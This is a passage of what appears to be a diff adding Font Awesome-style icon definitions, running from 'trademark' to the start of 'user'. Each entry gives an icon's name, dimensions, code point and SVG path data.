22.52 8.59 31.11 0l5.06-5.06c9.26 4.99 18.82 8.96 28.72 11.91V490c0 12.15 9.85 22 22 22h44c12.15 0 22-9.85 22-22v-7.14c9.9-2.95 19.46-6.92 28.72-11.91l5.06 5.06c8.59 8.59 22.52 8.59 31.11 0l31.11-31.11c8.59-8.59 8.59-22.52 0-31.11l-5.06-5.06c4.99-9.26 8.96-18.82 11.91-28.72H330c12.15 0 22-9.85 22-22v-6h80.54c21.91-28.99 56.32-48 95.46-48 18.64 0 36.07 4.61 51.8 12.2l50.82-50.82c6-6 9.37-14.14 9.37-22.63V192c.01-17.67-14.32-32-31.99-32zM176 416c-44.18 0-80-35.82-80-80s35.82-80 80-80 80 35.82 80 80-35.82 80-80 80zm22-256h-38V64h106.89l41.15 96H198z"], + "trademark": [640, 512, [], "f25c", "M260.6 96H12c-6.6 0-12 5.4-12 12v43.1c0 6.6 5.4 12 12 12h85.1V404c0 6.6 5.4 12 12 12h54.3c6.6 0 12-5.4 12-12V163.1h85.1c6.6 0 12-5.4 12-12V108c.1-6.6-5.3-12-11.9-12zM640 403l-24-296c-.5-6.2-5.7-11-12-11h-65.4c-5.1 0-9.7 3.3-11.3 8.1l-43.8 127.1c-7.2 20.6-16.1 52.8-16.1 52.8h-.9s-8.9-32.2-16.1-52.8l-43.8-127.1c-1.7-4.8-6.2-8.1-11.3-8.1h-65.4c-6.2 0-11.4 4.8-12 11l-24.4 296c-.6 7 4.9 13 12 13H360c6.3 0 11.5-4.9 12-11.2l9.1-132.9c1.8-24.2 0-53.7 0-53.7h.9s10.7 33.6 17.9 53.7l30.7 84.7c1.7 4.7 6.2 7.9 11.3 7.9h50.3c5.1 0 9.6-3.2 11.3-7.9l30.7-84.7c7.2-20.1 17.9-53.7 17.9-53.7h.9s-1.8 29.5 0 53.7l9.1 132.9c.4 6.3 5.7 11.2 12 11.2H628c7 0 12.5-6 12-13z"], + "traffic-light": [384, 512, [], "f637", "M384 192h-64v-37.88c37.2-13.22 64-48.38 64-90.12h-64V32c0-17.67-14.33-32-32-32H96C78.33 0 64 14.33 64 32v32H0c0 41.74 26.8 76.9 64 90.12V192H0c0 41.74 26.8 76.9 64 90.12V320H0c0 42.84 28.25 78.69 66.99 91.05C79.42 468.72 130.6 512 192 512s112.58-43.28 125.01-100.95C355.75 398.69 384 362.84 384 320h-64v-37.88c37.2-13.22 64-48.38 64-90.12zM192 416c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm0-128c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm0-128c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48z"], + "trailer": [640, 512, [], "e041", "M624,320H544V80a16,16,0,0,0-16-16H16A16,16,0,0,0,0,80V368a16,16,0,0,0,16,16H65.61c7.83-54.21,54-96,110.39-96s102.56,41.79,110.39,96H624a16,16,0,0,0,16-16V336A16,16,0,0,0,624,320ZM96,243.68a176.29,176.29,0,0,0-32,20.71V136a8,8,0,0,1,8-8H88a8,8,0,0,1,8,8Zm96-18.54c-5.31-.49-10.57-1.14-16-1.14s-10.69.65-16,1.14V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8Zm96,39.25a176.29,176.29,0,0,0-32-20.71V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8ZM384,320H352V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8Zm96,0H448V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8Zm-304,0a80,80,0,1,0,80,80A80,80,0,0,0,176,320Zm0,112a32,32,0,1,1,32-32A32,32,0,0,1,176,432Z"], + "train": [448, 512, [], "f238", "M448 96v256c0 51.815-61.624 96-130.022 96l62.98 49.721C386.905 502.417 383.562 512 376 512H72c-7.578 0-10.892-9.594-4.957-14.279L130.022 448C61.82 448 0 403.954 0 352V96C0 42.981 64 0 128 0h192c65 0 128 42.981 128 96zm-48 136V120c0-13.255-10.745-24-24-24H72c-13.255 0-24 10.745-24 24v112c0 13.255 10.745 24 24 24h304c13.255 0 24-10.745 24-24zm-176 64c-30.928 0-56 25.072-56 56s25.072 56 56 56 56-25.072 56-56-25.072-56-56-56z"], + "tram": [512, 512, [], "f7da", "M288 64c17.7 0 32-14.3 32-32S305.7 0 288 0s-32 14.3-32 32 14.3 32 32 32zm223.5-12.1c-2.3-8.6-11-13.6-19.6-11.3l-480 128c-8.5 2.3-13.6 11-11.3 19.6C2.5 195.3 8.9 200 16 200c1.4 0 2.8-.2 4.1-.5L240 140.8V224H64c-17.7 0-32 14.3-32 32v224c0 17.7 14.3 32 32 32h384c17.7 0 32-14.3 32-32V256c0-17.7-14.3-32-32-32H272v-91.7l228.1-60.8c8.6-2.3 13.6-11.1 11.4-19.6zM176 384H80v-96h96v96zm160-96h96v96h-96v-96zm-32 0v96h-96v-96h96zM192 96c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z"], + "transgender": [384, 512, [], "f224", "M372 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-80.7 80.7C198.5 104.1 172.2 96 144 96 64.5 96 0 160.5 0 240c0 68.5 47.9 125.9 112 140.4V408H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v28c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-28h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-27.6c64.1-14.6 112-71.9 112-140.4 0-28.2-8.1-54.5-22.1-76.7l80.7-80.7 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V12c0-6.6-5.4-12-12-12zM144 320c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"], + "transgender-alt": [480, 512, [], "f225", "M468 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-80.7 80.7C294.5 104.1 268.2 96 240 96c-28.2 0-54.5 8.1-76.7 22.1l-16.5-16.5 19.8-19.8c4.7-4.7 4.7-12.3 0-17l-28.3-28.3c-4.7-4.7-12.3-4.7-17 0l-19.8 19.8-19-19 16.9-16.9C107.1 12.9 101.7 0 91 0H12C5.4 0 0 5.4 0 12v79c0 10.7 12.9 16 20.5 8.5l16.9-16.9 19 19-19.8 19.8c-4.7 4.7-4.7 12.3 0 17l28.3 28.3c4.7 4.7 12.3 4.7 17 0l19.8-19.8 16.5 16.5C104.1 185.5 96 211.8 96 240c0 68.5 47.9 125.9 112 140.4V408h-36c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v28c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-28h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-27.6c64.1-14.6 112-71.9 112-140.4 0-28.2-8.1-54.5-22.1-76.7l80.7-80.7 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V12c0-6.6-5.4-12-12-12zM240 320c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"], + "trash": [448, 512, [], "f1f8", "M432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zM53.2 467a48 48 0 0 0 47.9 45h245.8a48 48 0 0 0 47.9-45L416 128H32z"], + "trash-alt": [448, 512, [], "f2ed", "M32 464a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128H32zm272-256a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zm-96 0a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zm-96 0a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"], + "trash-restore": [448, 512, [], "f829", "M53.2 467a48 48 0 0 0 47.9 45h245.8a48 48 0 0 0 47.9-45L416 128H32zm70.11-175.8l89.38-94.26a15.41 15.41 0 0 1 22.62 0l89.38 94.26c10.08 10.62 2.94 28.8-11.32 28.8H256v112a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V320h-57.37c-14.26 0-21.4-18.18-11.32-28.8zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"], + "trash-restore-alt": [448, 512, [], "f82a", "M32 464a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128H32zm91.31-172.8l89.38-94.26a15.41 15.41 0 0 1 22.62 0l89.38 94.26c10.08 10.62 2.94 28.8-11.32 28.8H256v112a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V320h-57.37c-14.26 0-21.4-18.18-11.32-28.8zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"], + "tree": [384, 512, [], "f1bb", "M378.31 378.49L298.42 288h30.63c9.01 0 16.98-5 20.78-13.06 3.8-8.04 2.55-17.26-3.28-24.05L268.42 160h28.89c9.1 0 17.3-5.35 20.86-13.61 3.52-8.13 1.86-17.59-4.24-24.08L203.66 4.83c-6.03-6.45-17.28-6.45-23.32 0L70.06 122.31c-6.1 6.49-7.75 15.95-4.24 24.08C69.38 154.65 77.59 160 86.69 160h28.89l-78.14 90.91c-5.81 6.78-7.06 15.99-3.27 24.04C37.97 283 45.93 288 54.95 288h30.63L5.69 378.49c-6 6.79-7.36 16.09-3.56 24.26 3.75 8.05 12 13.25 21.01 13.25H160v24.45l-30.29 48.4c-5.32 10.64 2.42 23.16 14.31 23.16h95.96c11.89 0 19.63-12.52 14.31-23.16L224 440.45V416h136.86c9.01 0 17.26-5.2 21.01-13.25 3.8-8.17 2.44-17.47-3.56-24.26z"], + "trophy": [576, 512, [], "f091", "M552 64H448V24c0-13.3-10.7-24-24-24H152c-13.3 0-24 10.7-24 24v40H24C10.7 64 0 74.7 0 88v56c0 35.7 22.5 72.4 61.9 100.7 31.5 22.7 69.8 37.1 110 41.7C203.3 338.5 240 360 240 360v72h-48c-35.3 0-64 20.7-64 56v12c0 6.6 5.4 12 12 12h296c6.6 0 12-5.4 12-12v-12c0-35.3-28.7-56-64-56h-48v-72s36.7-21.5 68.1-73.6c40.3-4.6 78.6-19 110-41.7 39.3-28.3 61.9-65 61.9-100.7V88c0-13.3-10.7-24-24-24zM99.3 192.8C74.9 175.2 64 155.6 64 144v-16h64.2c1 32.6 5.8 61.2 12.8 86.2-15.1-5.2-29.2-12.4-41.7-21.4zM512 144c0 16.1-17.7 36.1-35.3 48.8-12.5 9-26.7 16.2-41.8 21.4 7-25 11.8-53.6 12.8-86.2H512v16z"], + "truck": [640, 512, [], "f0d1", "M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h16c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm320 0c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z"], + "truck-loading": [640, 512, [], "f4de", "M50.2 375.6c2.3 8.5 11.1 13.6 19.6 11.3l216.4-58c8.5-2.3 13.6-11.1 11.3-19.6l-49.7-185.5c-2.3-8.5-11.1-13.6-19.6-11.3L151 133.3l24.8 92.7-61.8 16.5-24.8-92.7-77.3 20.7C3.4 172.8-1.7 181.6.6 190.1l49.6 185.5zM384 0c-17.7 0-32 14.3-32 32v323.6L5.9 450c-4.3 1.2-6.8 5.6-5.6 9.8l12.6 46.3c1.2 4.3 5.6 6.8 9.8 5.6l393.7-107.4C418.8 464.1 467.6 512 528 512c61.9 0 112-50.1 112-112V0H384zm144 448c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z"], + "truck-monster": [640, 512, [], "f63b", "M624 224h-16v-64c0-17.67-14.33-32-32-32h-73.6L419.22 24.02A64.025 64.025 0 0 0 369.24 0H256c-17.67 0-32 14.33-32 32v96H48c-8.84 0-16 7.16-16 16v80H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16.72c29.21-38.65 75.1-64 127.28-64s98.07 25.35 127.28 64h65.45c29.21-38.65 75.1-64 127.28-64s98.07 25.35 127.28 64H624c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-336-96V64h81.24l51.2 64H288zm304 224h-5.2c-2.2-7.33-5.07-14.28-8.65-20.89l3.67-3.67c6.25-6.25 6.25-16.38 0-22.63l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0l-3.67 3.67A110.85 110.85 0 0 0 512 277.2V272c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v5.2c-7.33 2.2-14.28 5.07-20.89 8.65l-3.67-3.67c-6.25-6.25-16.38-6.25-22.63 0l-22.63 22.63c-6.25 6.25-6.25 16.38 0 22.63l3.67 3.67A110.85 110.85 0 0 0 373.2 352H368c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h5.2c2.2 7.33 5.07 14.28 8.65 20.89l-3.67 3.67c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l3.67-3.67c6.61 3.57 13.57 6.45 20.9 8.65v5.2c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-5.2c7.33-2.2 14.28-5.07 20.9-8.65l3.67 3.67c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.25-6.25 6.25-16.38 0-22.63l-3.67-3.67a110.85 110.85 0 0 0 8.65-20.89h5.2c8.84 0 16-7.16 16-16v-32c-.02-8.84-7.18-16-16.02-16zm-112 80c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm-208-80h-5.2c-2.2-7.33-5.07-14.28-8.65-20.89l3.67-3.67c6.25-6.25 6.25-16.38 0-22.63l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0l-3.67 3.67A110.85 110.85 0 0 0 192 277.2V272c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v5.2c-7.33 2.2-14.28 5.07-20.89 8.65l-3.67-3.67c-6.25-6.25-16.38-6.25-22.63 0L58.18 304.8c-6.25 6.25-6.25 16.38 0 22.63l3.67 3.67a110.85 110.85 0 0 0-8.65 20.89H48c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h5.2c2.2 7.33 5.07 14.28 8.65 20.89l-3.67 3.67c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l3.67-3.67c6.61 3.57 13.57 6.45 20.9 8.65v5.2c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-5.2c7.33-2.2 14.28-5.07 20.9-8.65l3.67 3.67c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.25-6.25 6.25-16.38 0-22.63l-3.67-3.67a110.85 110.85 0 0 0 8.65-20.89h5.2c8.84 0 16-7.16 16-16v-32C288 359.16 280.84 352 272 352zm-112 80c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48z"], + "truck-moving": [640, 512, [], "f4df", "M621.3 237.3l-58.5-58.5c-12-12-28.3-18.7-45.3-18.7H480V64c0-17.7-14.3-32-32-32H32C14.3 32 0 46.3 0 64v336c0 44.2 35.8 80 80 80 26.3 0 49.4-12.9 64-32.4 14.6 19.6 37.7 32.4 64 32.4 44.2 0 80-35.8 80-80 0-5.5-.6-10.8-1.6-16h163.2c-1.1 5.2-1.6 10.5-1.6 16 0 44.2 35.8 80 80 80s80-35.8 80-80c0-5.5-.6-10.8-1.6-16H624c8.8 0 16-7.2 16-16v-85.5c0-17-6.7-33.2-18.7-45.2zM80 432c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32zm128 0c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32zm272-224h37.5c4.3 0 8.3 1.7 11.3 4.7l43.3 43.3H480v-48zm48 224c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32z"], + "truck-pickup": [640, 512, [], "f63c", "M624 288h-16v-64c0-17.67-14.33-32-32-32h-48L419.22 56.02A64.025 64.025 0 0 0 369.24 32H256c-17.67 0-32 14.33-32 32v128H64c-17.67 0-32 14.33-32 32v64H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h49.61c-.76 5.27-1.61 10.52-1.61 16 0 61.86 50.14 112 112 112s112-50.14 112-112c0-5.48-.85-10.73-1.61-16h67.23c-.76 5.27-1.61 10.52-1.61 16 0 61.86 50.14 112 112 112s112-50.14 112-112c0-5.48-.85-10.73-1.61-16H624c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM288 96h81.24l76.8 96H288V96zM176 416c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48zm288 0c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48z"], + "tshirt": [640, 512, [], "f553", "M631.2 96.5L436.5 0C416.4 27.8 371.9 47.2 320 47.2S223.6 27.8 203.5 0L8.8 96.5c-7.9 4-11.1 13.6-7.2 21.5l57.2 114.5c4 7.9 13.6 11.1 21.5 7.2l56.6-27.7c10.6-5.2 23 2.5 23 14.4V480c0 17.7 14.3 32 32 32h256c17.7 0 32-14.3 32-32V226.3c0-11.8 12.4-19.6 23-14.4l56.6 27.7c7.9 4 17.5.8 21.5-7.2L638.3 118c4-7.9.8-17.6-7.1-21.5z"], + "tty": [512, 512, [], "f1e4", "M5.37 103.822c138.532-138.532 362.936-138.326 501.262 0 6.078 6.078 7.074 15.496 2.583 22.681l-43.214 69.138a18.332 18.332 0 0 1-22.356 7.305l-86.422-34.569a18.335 18.335 0 0 1-11.434-18.846L351.741 90c-62.145-22.454-130.636-21.986-191.483 0l5.953 59.532a18.331 18.331 0 0 1-11.434 18.846l-86.423 34.568a18.334 18.334 0 0 1-22.356-7.305L2.787 126.502a18.333 18.333 0 0 1 2.583-22.68zM96 308v-40c0-6.627-5.373-12-12-12H44c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12H92c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zM96 500v-40c0-6.627-5.373-12-12-12H44c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm288 0v-40c0-6.627-5.373-12-12-12H140c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h232c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12z"], + "tv": [640, 512, [], "f26c", "M592 0H48A48 48 0 0 0 0 48v320a48 48 0 0 0 48 48h240v32H112a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H352v-32h240a48 48 0 0 0 48-48V48a48 48 0 0 0-48-48zm-16 352H64V64h512z"], + "umbrella": [576, 512, [], "f0e9", "M575.7 280.8C547.1 144.5 437.3 62.6 320 49.9V32c0-17.7-14.3-32-32-32s-32 14.3-32 32v17.9C138.3 62.6 29.5 144.5.3 280.8c-2.2 10.1 8.5 21.3 18.7 11.4 52-55 107.7-52.4 158.6 37 5.3 9.5 14.9 8.6 19.7 0 20.2-35.4 44.9-73.2 90.7-73.2 58.5 0 88.2 68.8 90.7 73.2 4.8 8.6 14.4 9.5 19.7 0 51-89.5 107.1-91.4 158.6-37 10.3 10 20.9-1.3 18.7-11.4zM256 301.7V432c0 8.8-7.2 16-16 16-7.8 0-13.2-5.3-15.1-10.7-5.9-16.7-24.1-25.4-40.8-19.5-16.7 5.9-25.4 24.2-19.5 40.8 11.2 31.9 41.6 53.3 75.4 53.3 44.1 0 80-35.9 80-80V301.6c-9.1-7.9-19.8-13.6-32-13.6-12.3.1-22.4 4.8-32 13.7z"], + "umbrella-beach": [640, 512, [], "f5ca", "M115.38 136.9l102.11 37.18c35.19-81.54 86.21-144.29 139-173.7-95.88-4.89-188.78 36.96-248.53 111.8-6.69 8.4-2.66 21.05 7.42 24.72zm132.25 48.16l238.48 86.83c35.76-121.38 18.7-231.66-42.63-253.98-7.4-2.7-15.13-4-23.09-4-58.02.01-128.27 69.17-172.76 171.15zM521.48 60.5c6.22 16.3 10.83 34.6 13.2 55.19 5.74 49.89-1.42 108.23-18.95 166.98l102.62 37.36c10.09 3.67 21.31-3.43 21.57-14.17 2.32-95.69-41.91-187.44-118.44-245.36zM560 447.98H321.06L386 269.5l-60.14-21.9-72.9 200.37H16c-8.84 0-16 7.16-16 16.01v32.01C0 504.83 7.16 512 16 512h544c8.84 0 16-7.17 16-16.01v-32.01c0-8.84-7.16-16-16-16z"], + "underline": [448, 512, [], "f0cd", "M32 64h32v160c0 88.22 71.78 160 160 160s160-71.78 160-160V64h32a16 16 0 0 0 16-16V16a16 16 0 0 0-16-16H272a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32v160a80 80 0 0 1-160 0V64h32a16 16 0 0 0 16-16V16a16 16 0 0 0-16-16H32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm400 384H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"], + "undo": [512, 512, [], "f0e2", "M212.333 224.333H12c-6.627 0-12-5.373-12-12V12C0 5.373 5.373 0 12 0h48c6.627 0 12 5.373 12 12v78.112C117.773 39.279 184.26 7.47 258.175 8.007c136.906.994 246.448 111.623 246.157 248.532C504.041 393.258 393.12 504 256.333 504c-64.089 0-122.496-24.313-166.51-64.215-5.099-4.622-5.334-12.554-.467-17.42l33.967-33.967c4.474-4.474 11.662-4.717 16.401-.525C170.76 415.336 211.58 432 256.333 432c97.268 0 176-78.716 176-176 0-97.267-78.716-176-176-176-58.496 0-110.28 28.476-142.274 72.333h98.274c6.627 0 12 5.373 12 12v48c0 6.627-5.373 12-12 12z"], + "undo-alt": [512, 512, [], "f2ea", "M255.545 8c-66.269.119-126.438 26.233-170.86 68.685L48.971 40.971C33.851 25.851 8 36.559 8 57.941V192c0 13.255 10.745 24 24 24h134.059c21.382 0 32.09-25.851 16.971-40.971l-41.75-41.75c30.864-28.899 70.801-44.907 113.23-45.273 92.398-.798 170.283 73.977 169.484 169.442C423.236 348.009 349.816 424 256 424c-41.127 0-79.997-14.678-110.63-41.556-4.743-4.161-11.906-3.908-16.368.553L89.34 422.659c-4.872 4.872-4.631 12.815.482 17.433C133.798 479.813 192.074 504 256 504c136.966 0 247.999-111.033 248-247.998C504.001 119.193 392.354 7.755 255.545 8z"], + "universal-access": [512, 512, [], "f29a", "M256 48c114.953 0 208 93.029 208 208 0 114.953-93.029 208-208 208-114.953 0-208-93.029-208-208 0-114.953 93.029-208 208-208m0-40C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 56C149.961 64 64 149.961 64 256s85.961 192 192 192 192-85.961 192-192S362.039 64 256 64zm0 44c19.882 0 36 16.118 36 36s-16.118 36-36 36-36-16.118-36-36 16.118-36 36-36zm117.741 98.023c-28.712 6.779-55.511 12.748-82.14 15.807.851 101.023 12.306 123.052 25.037 155.621 3.617 9.26-.957 19.698-10.217 23.315-9.261 3.617-19.699-.957-23.316-10.217-8.705-22.308-17.086-40.636-22.261-78.549h-9.686c-5.167 37.851-13.534 56.208-22.262 78.549-3.615 9.255-14.05 13.836-23.315 10.217-9.26-3.617-13.834-14.056-10.217-23.315 12.713-32.541 24.185-54.541 25.037-155.621-26.629-3.058-53.428-9.027-82.141-15.807-8.6-2.031-13.926-10.648-11.895-19.249s10.647-13.926 19.249-11.895c96.686 22.829 124.283 22.783 220.775 0 8.599-2.03 17.218 3.294 19.249 11.895 2.029 8.601-3.297 17.219-11.897 19.249z"], + "university": [512, 512, [], "f19c", "M496 128v16a8 8 0 0 1-8 8h-24v12c0 6.627-5.373 12-12 12H60c-6.627 0-12-5.373-12-12v-12H24a8 8 0 0 1-8-8v-16a8 8 0 0 1 4.941-7.392l232-88a7.996 7.996 0 0 1 6.118 0l232 88A8 8 0 0 1 496 128zm-24 304H40c-13.255 0-24 10.745-24 24v16a8 8 0 0 0 8 8h464a8 8 0 0 0 8-8v-16c0-13.255-10.745-24-24-24zM96 192v192H60c-6.627 0-12 5.373-12 12v20h416v-20c0-6.627-5.373-12-12-12h-36V192h-64v192h-64V192h-64v192h-64V192H96z"], + "unlink": [512, 512, [], "f127", "M304.083 405.907c4.686 4.686 4.686 12.284 0 16.971l-44.674 44.674c-59.263 59.262-155.693 59.266-214.961 0-59.264-59.265-59.264-155.696 0-214.96l44.675-44.675c4.686-4.686 12.284-4.686 16.971 0l39.598 39.598c4.686 4.686 4.686 12.284 0 16.971l-44.675 44.674c-28.072 28.073-28.072 73.75 0 101.823 28.072 28.072 73.75 28.073 101.824 0l44.674-44.674c4.686-4.686 12.284-4.686 16.971 0l39.597 39.598zm-56.568-260.216c4.686 4.686 12.284 4.686 16.971 0l44.674-44.674c28.072-28.075 73.75-28.073 101.824 0 28.072 28.073 28.072 73.75 0 101.823l-44.675 44.674c-4.686 4.686-4.686 12.284 0 16.971l39.598 39.598c4.686 4.686 12.284 4.686 16.971 0l44.675-44.675c59.265-59.265 59.265-155.695 0-214.96-59.266-59.264-155.695-59.264-214.961 0l-44.674 44.674c-4.686 4.686-4.686 12.284 0 16.971l39.597 39.598zm234.828 359.28l22.627-22.627c9.373-9.373 9.373-24.569 0-33.941L63.598 7.029c-9.373-9.373-24.569-9.373-33.941 0L7.029 29.657c-9.373 9.373-9.373 24.569 0 33.941l441.373 441.373c9.373 9.372 24.569 9.372 33.941 0z"], + "unlock": [448, 512, [], "f09c", "M400 256H152V152.9c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v16c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-16C376 68 307.5-.3 223.5 0 139.5.3 72 69.5 72 153.5V256H48c-26.5 0-48 21.5-48 48v160c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48z"], + "unlock-alt": [448, 512, [], "f13e", "M400 256H152V152.9c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v16c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-16C376 68 307.5-.3 223.5 0 139.5.3 72 69.5 72 153.5V256H48c-26.5 0-48 21.5-48 48v160c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48zM264 408c0 22.1-17.9 40-40 40s-40-17.9-40-40v-48c0-22.1 17.9-40 40-40s40 17.9 40 40v48z"], + "upload": [512, 512, [], "f093", "M296 384h-80c-13.3 0-24-10.7-24-24V192h-87.7c-17.8 0-26.7-21.5-14.1-34.1L242.3 5.7c7.5-7.5 19.8-7.5 27.3 0l152.2 152.2c12.6 12.6 3.7 34.1-14.1 34.1H320v168c0 13.3-10.7 24-24 24zm216-8v112c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24V376c0-13.3 10.7-24 24-24h136v8c0 30.9 25.1 56 56 56h80c30.9 0 56-25.1 56-56v-8h136c13.3 0 24 10.7 24 24zm-124 88c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20zm64 0c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20z"], + "user": [448, 512, [], 